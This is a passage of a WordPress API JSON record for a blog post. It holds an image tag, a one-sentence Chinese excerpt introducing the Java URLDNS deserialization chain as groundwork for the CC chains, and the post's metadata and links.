src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240212213743511\" style=\"zoom: 67%;\" \/><\/div><\/p>\n","protected":false},"excerpt":{"rendered":"<p>URLDNS\u94fe\u662fJava\u5b89\u5168\u4e2d\u6bd4\u8f83\u7b80\u5355\u7684\u4e00\u6761\u5229\u7528\u94fe\uff0c\u65e0\u9700\u4f7f\u7528\u4efb\u4f55\u7b2c\u4e09\u65b9\u5e93\uff0c\u5168\u4f9d\u9760Java\u5185\u7f6e\u7684\u4e00\u4e9b\u7c7b\u5b9e\u73b0\uff0c\u7406\u89e3\u597dURLDNS\u94fe\uff0c\u90a3\u4e48\u63a5\u4e0b\u6765\u5bf9CC\u94fe\u7684\u5b66\u4e60\u5c31\u4f1a\u7b80\u5355\u8bb8\u591a\u3002<\/p>\n","protected":false},"author":1,"featured_media":466,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,39,22],"tags":[15,40,26],"class_list":["post-465","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-java","category-webs","tag-ctf","tag-java","tag-web"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/465","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=465"}],"version-history":[{"count":3,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/465\/revisions"}],"predecessor-version":[{"id":469,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/465\/revisions\/469"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/466"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=465"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=465"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=465"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}